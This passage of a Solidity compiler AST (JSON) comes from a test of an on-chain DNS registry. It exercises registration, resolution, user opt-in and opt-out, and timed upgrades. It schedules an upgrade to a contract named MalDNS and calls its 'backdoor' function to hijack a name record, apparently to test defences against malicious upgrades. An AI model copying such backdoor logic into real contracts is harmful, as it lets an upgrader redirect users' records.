0","value":"0"},"id":1169,"name":"Literal","src":"5799:1:2"}],"id":1170,"name":"IndexAccess","src":"5793:8:2"}],"id":1171,"name":"MemberAccess","src":"5793:17:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1147,"type":"string memory","value":"d0"},"id":1172,"name":"Identifier","src":"5811:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1151,"type":"bytes4","value":"i0"},"id":1173,"name":"Identifier","src":"5815:2:2"}],"id":1174,"name":"FunctionCall","src":"5793:25:2"}],"id":1175,"name":"ExpressionStatement","src":"5793:25:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"tuple()"},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"type":"tuple(bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1163,"type":"bytes4","value":"ip"},"id":1176,"name":"Identifier","src":"5823:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1166,"type":"address","value":"owner"},"id":1177,"name":"Identifier","src":"5827:5:2"}],"id":1178,"name":"TupleExpression","src":"5822:11:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bytes4,address)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"resolve","referencedDeclaration":307,"type":"function (string memory) view external returns (bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":449,"type":"contract DNS","value":"dns"},"id":1179,"name":"Identifier","src":"5836:3:2"}],"id":1180,"name":"MemberAccess","src":"5836:11:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1147,"type":"string memory","value":"d0"},"id":1181,"name":"Identifier","src":"5848:2:2"}],"id":1182,"name":"FunctionCall","src":"5836:15:2"}],"id":1183,"name":"Assignment","src":"5822:29:2"}],"id":1184,"name":"ExpressionStatement","src":"5822:29:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2507,"type":"function (bytes32,bytes32)","value":"assertEq"},"id":1185,"name":"Identifier","src":"5855:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1163,"type":"bytes4","value":"ip"},"id":1186,"name":"Identifier","src":"5864:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1151,"type":"bytes4","value":"i0"},"id":1187,"name":"Identifier","src":"5868:2:2"}],"id":1188,"name":"FunctionCall","src":"5855:16:2"}],"id":1189,"name":"ExpressionStatement","src":"5855:16:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2464,"type":"function (address,address)","value":"assertEq"},"id":1190,"name":"Identifier","src":"5875:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1166,"type":"address","value":"owner"},"id":1191,"name":"Identifier","src":"5884:5:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_User_$443","typeString":"contract User"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":1192,"name":"ElementaryTypeName","src":"5891:7:2"}],"id":1193,"name":"ElementaryTypeNameExpression","src":"5891:7:2"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":1194,"name":"Identifier","src":"5899:5:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":1195,"name":"Literal","src":"5905:1:2"}],"id":1196,"name":"IndexAccess","src":"5899:8:2"}],"id":1197,"name":"FunctionCall","src":"5891:17:2"}],"id":1198,"name":"FunctionCall","src":"5875:34:2"}],"id":1199,"name":"ExpressionStatement","src":"5875:34:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"register","referencedDeclaration":356,"type":"function (string memory,bytes4) external"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":1200,"name":"Identifier","src":"5941:5:2"},{"attributes":{"hexvalue":"31","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 1","value":"1"},"id":1201,"name":"Literal","src":"5947:1:2"}],"id":1202,"name":"IndexAccess","src":"5941:8:2"}],"id":1203,"name":"MemberAccess","src":"5941:17:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1155,"type":"string memory","value":"d1"},"id":1204,"name":"Identifier","src":"5959:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1159,"type":"bytes4","value":"i1"},"id":1205,"name":"Identifier","src":"5963:2:2"}],"id":1206,"name":"FunctionCall","src":"5941:25:2"}],"id":1207,"name":"ExpressionStatement","src":"5941:25:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"tuple()"},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"type":"tuple(bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1163,"type":"bytes4","value":"ip"},"id":1208,"name":"Identifier","src":"5971:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1166,"type":"address","value":"owner"},"id":1209,"name":"Identifier","src":"5975:5:2"}],"id":1210,"name":"TupleExpression","src":"5970:11:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bytes4,address)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"resolve","referencedDeclaration":307,"type":"function (string memory) view external returns (bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":449,"type":"contract DNS","value":"dns"},"id":1211,"name":"Identifier","src":"5984:3:2"}],"id":1212,"name":"MemberAccess","src":"5984:11:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1155,"type":"string memory","value":"d1"},"id":1213,"name":"Identifier","src":"5996:2:2"}],"id":1214,"name":"FunctionCall","src":"5984:15:2"}],"id":1215,"name":"Assignment","src":"5970:29:2"}],"id":1216,"name":"ExpressionStatement","src":"5970:29:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2507,"type":"function (bytes32,bytes32)","value":"assertEq"},"id":1217,"name":"Identifier","src":"6003:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1163,"type":"bytes4","value":"ip"},"id":1218,"name":"Identifier","src":"6012:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1159,"type":"bytes4","value":"i1"},"id":1219,"name":"Identifier","src":"6016:2:2"}],"id":1220,"name":"FunctionCall","src":"6003:16:2"}],"id":1221,"name":"ExpressionStatement","src":"6003:16:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2464,"type":"function (address,address)","value":"assertEq"},"id":1222,"name":"Identifier","src":"6023:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1166,"type":"address","value":"owner"},"id":1223,"name":"Identifier","src":"6032:5:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_User_$443","typeString":"contract User"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":1224,"name":"ElementaryTypeName","src":"6039:7:2"}],"id":1225,"name":"ElementaryTypeNameExpression","src":"6039:7:2"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":1226,"name":"Identifier","src":"6047:5:2"},{"attributes":{"hexvalue":"31","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 1","value":"1"},"id":1227,"name":"Literal","src":"6053:1:2"}],"id":1228,"name":"IndexAccess","src":"6047:8:2"}],"id":1229,"name":"FunctionCall","src":"6039:17:2"}],"id":1230,"name":"FunctionCall","src":"6023:34:2"}],"id":1231,"name":"ExpressionStatement","src":"6023:34:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_contract$_IDNS_$1462","typeString":"contract IDNS"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"newUpgrade","referencedDeclaration":1997,"type":"function (uint256,contract IDNS) external"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":457,"type":"contract Upgrade","value":"upgrade"},"id":1232,"name":"Identifier","src":"6102:7:2"}],"id":1234,"name":"MemberAccess","src":"6102:18:2"},{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"+","type":"uint256"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"timestamp","type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-4,"type":"block","value":"block"},"id":1235,"name":"Identifier","src":"6121:5:2"}],"id":1236,"name":"MemberAccess","src":"6121:15:2"},{"attributes":{"hexvalue":"3630","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 60","value":"60"},"id":1237,"name":"Literal","src":"6139:2:2"}],"id":1238,"name":"BinaryOperation","src":"6121:20:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract IDNS","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_UpgradedDNS_$2303","typeString":"contract UpgradedDNS"}],"overloadedDeclarations":[null],"referencedDeclaration":1462,"type":"type(contract IDNS)","value":"IDNS"},"id":1239,"name":"Identifier","src":"6143:4:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":451,"type":"contract UpgradedDNS","value":"up_dns"},"id":1240,"name":"Identifier","src":"6148:6:2"}],"id":1241,"name":"FunctionCall","src":"6143:12:2"}],"id":1242,"name":"FunctionCall","src":"6102:54:2"}],"id":1243,"name":"ExpressionStatement","src":"6102:54:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"overloadedDeclarations":[null],"referencedDeclaration":2434,"type":"function (bool)","value":"assertTrue"},"id":1244,"name":"Identifier","src":"6160:10:2"},{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"bool","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"upgradePlanned","referencedDeclaration":2049,"type":"function () view external returns (bool)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":457,"type":"contract Upgrade","value":"upgrade"},"id":1245,"name":"Identifier","src":"6171:7:2"}],"id":1246,"name":"MemberAccess","src":"6171:22:2"}],"id":1247,"name":"FunctionCall","src":"6171:24:2"}],"id":1248,"name":"FunctionCall","src":"6160:36:2"}],"id":1249,"name":"ExpressionStatement","src":"6160:36:2"},{"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"optIn","referencedDeclaration":430,"type":"function () external"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":1250,"name":"Identifier","src":"6220:5:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":1251,"name":"Literal","src":"6226:1:2"}],"id":1252,"name":"IndexAccess","src":"6220:8:2"}],"id":1253,"name":"MemberAccess","src":"6220:14:2"}],"id":1254,"name":"FunctionCall","src":"6220:16:2"}],"id":1255,"name":"ExpressionStatement","src":"6220:16:2"},{"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"optIn","referencedDeclaration":430,"type":"function () external"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":1256,"name":"Identifier","src":"6260:5:2"},{"attributes":{"hexvalue":"32","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 2","value":"2"},"id":1257,"name":"Literal","src":"6266:1:2"}],"id":1258,"name":"IndexAccess","src":"6260:8:2"}],"id":1259,"name":"MemberAccess","src":"6260:14:2"}],"id":1260,"name":"FunctionCall","src":"6260:16:2"}],"id":1261,"name":"ExpressionStatement","src":"6260:16:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"warp","referencedDeclaration":1392,"type":"function (uint256) external"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":447,"type":"contract HEVMCheat","value":"hevm"},"id":1262,"name":"Identifier","src":"6280:4:2"}],"id":1264,"name":"MemberAccess","src":"6280:9:2"},{"attributes":{"hexvalue":"3130","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 10","value":"10"},"id":1265,"name":"Literal","src":"6290:2:2"}],"id":1266,"name":"FunctionCall","src":"6280:13:2"}],"id":1267,"name":"ExpressionStatement","src":"6280:13:2"},{"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"optOut","referencedDeclaration":442,"type":"function () external"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":1268,"name":"Identifier","src":"6320:5:2"},{"attributes":{"hexvalue":"32","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 2","value":"2"},"id":1269,"name":"Literal","src":"6326:1:2"}],"id":1270,"name":"IndexAccess","src":"6320:8:2"}],"id":1271,"name":"MemberAccess","src":"6320:15:2"}],"id":1272,"name":"FunctionCall","src":"6320:17:2"}],"id":1273,"name":"ExpressionStatement","src":"6320:17:2"},{"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"optIn","referencedDeclaration":430,"type":"function () external"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":1274,"name":"Identifier","src":"6366:5:2"},{"attributes":{"hexvalue":"33","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 3","value":"3"},"id":1275,"name":"Literal","src":"6372:1:2"}],"id":1276,"name":"IndexAccess","src":"6366:8:2"}],"id":1277,"name":"MemberAccess","src":"6366:14:2"}],"id":1278,"name":"FunctionCall","src":"6366:16:2"}],"id":1279,"name":"ExpressionStatement","src":"6366:16:2"},{"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"cancelUpgrade","referencedDeclaration":2023,"type":"function () external"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":457,"type":"contract Upgrade","value":"upgrade"},"id":1280,"name":"Identifier","src":"6387:7:2"}],"id":1282,"name":"MemberAccess","src":"6387:21:2"}],"id":1283,"name":"FunctionCall","src":"6387:23:2"}],"id":1284,"name":"ExpressionStatement","src":"6387:23:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"overloadedDeclarations":[null],"referencedDeclaration":2434,"type":"function (bool)","value":"assertTrue"},"id":1285,"name":"Identifier","src":"6414:10:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!","prefix":true,"type":"bool"},"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"bool","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"upgradePlanned","referencedDeclaration":2049,"type":"function () view external returns (bool)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":457,"type":"contract Upgrade","value":"upgrade"},"id":1286,"name":"Identifier","src":"6426:7:2"}],"id":1287,"name":"MemberAccess","src":"6426:22:2"}],"id":1288,"name":"FunctionCall","src":"6426:24:2"}],"id":1289,"name":"UnaryOperation","src":"6425:25:2"}],"id":1290,"name":"FunctionCall","src":"6414:37:2"}],"id":1291,"name":"ExpressionStatement","src":"6414:37:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_contract$_IDNS_$1462","typeString":"contract IDNS"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"newUpgrade","referencedDeclaration":1997,"type":"function (uint256,contract IDNS) external"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":457,"type":"contract Upgrade","value":"upgrade"},"id":1292,"name":"Identifier","src":"6500:7:2"}],"id":1294,"name":"MemberAccess","src":"6500:18:2"},{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"+","type":"uint256"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"timestamp","type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-4,"type":"block","value":"block"},"id":1295,"name":"Identifier","src":"6519:5:2"}],"id":1296,"name":"MemberAccess","src":"6519:15:2"},{"attributes":{"hexvalue":"31","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 1","value":"1"},"id":1297,"name":"Literal","src":"6537:1:2"}],"id":1298,"name":"BinaryOperation","src":"6519:19:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract IDNS","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_MalDNS_$1723","typeString":"contract MalDNS"}],"overloadedDeclarations":[null],"referencedDeclaration":1462,"type":"type(contract IDNS)","value":"IDNS"},"id":1299,"name":"Identifier","src":"6540:4:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":455,"type":"contract MalDNS","value":"mal_dns"},"id":1300,"name":"Identifier","src":"6545:7:2"}],"id":1301,"name":"FunctionCall","src":"6540:13:2"}],"id":1302,"name":"FunctionCall","src":"6500:54:2"}],"id":1303,"name":"ExpressionStatement","src":"6500:54:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"overloadedDeclarations":[null],"referencedDeclaration":2434,"type":"function (bool)","value":"assertTrue"},"id":1304,"name":"Identifier","src":"6558:10:2"},{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"bool","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"upgradePlanned","referencedDeclaration":2049,"type":"function () view external returns (bool)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":457,"type":"contract Upgrade","value":"upgrade"},"id":1305,"name":"Identifier","src":"6569:7:2"}],"id":1306,"name":"MemberAccess","src":"6569:22:2"}],"id":1307,"name":"FunctionCall","src":"6569:24:2"}],"id":1308,"name":"FunctionCall","src":"6558:36:2"}],"id":1309,"name":"ExpressionStatement","src":"6558:36:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"warp","referencedDeclaration":1392,"type":"function (uint256) external"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":447,"type":"contract HEVMCheat","value":"hevm"},"id":1310,"name":"Identifier","src":"6624:4:2"}],"id":1312,"name":"MemberAccess","src":"6624:9:2"},{"attributes":{"hexvalue":"313030","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 100","value":"100"},"id":1313,"name":"Literal","src":"6634:3:2"}],"id":1314,"name":"FunctionCall","src":"6624:14:2"}],"id":1315,"name":"ExpressionStatement","src":"6624:14:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"overloadedDeclarations":[null],"referencedDeclaration":2434,"type":"function (bool)","value":"assertTrue"},"id":1316,"name":"Identifier","src":"6642:10:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!","prefix":true,"type":"bool"},"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"bool","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"upgradePlanned","referencedDeclaration":2049,"type":"function () view external returns (bool)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":457,"type":"contract Upgrade","value":"upgrade"},"id":1317,"name":"Identifier","src":"6654:7:2"}],"id":1318,"name":"MemberAccess","src":"6654:22:2"}],"id":1319,"name":"FunctionCall","src":"6654:24:2"}],"id":1320,"name":"UnaryOperation","src":"6653:25:2"}],"id":1321,"name":"FunctionCall","src":"6642:37:2"}],"id":1322,"name":"ExpressionStatement","src":"6642:37:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_rational_322376503_by_1","typeString":"int_const 322376503"},{"typeIdentifier":"t_address","typeString":"address"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"backdoor","referencedDeclaration":1547,"type":"function (string memory,bytes4,address) external"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":455,"type":"contract MalDNS","value":"mal_dns"},"id":1323,"name":"Identifier","src":"6684:7:2"}],"id":1325,"name":"MemberAccess","src":"6684:16:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":1147,"type":"string memory","value":"d0"},"id":1326,"name":"Identifier","src":"6701:2:2"},{"attributes":{"hexvalue":"30783133333731333337","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 322376503","value":"0x13371337"},"id":1327,"name":"Literal","src":"6705:10:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_DNSTest_$1362","typeString":"contract DNSTest"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":1328,"name":"ElementaryTypeName","src":"6717:7:2"}],"id":1329,"name":"ElementaryTypeNameExpression","src":"6717:7:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-28,"type":"contract 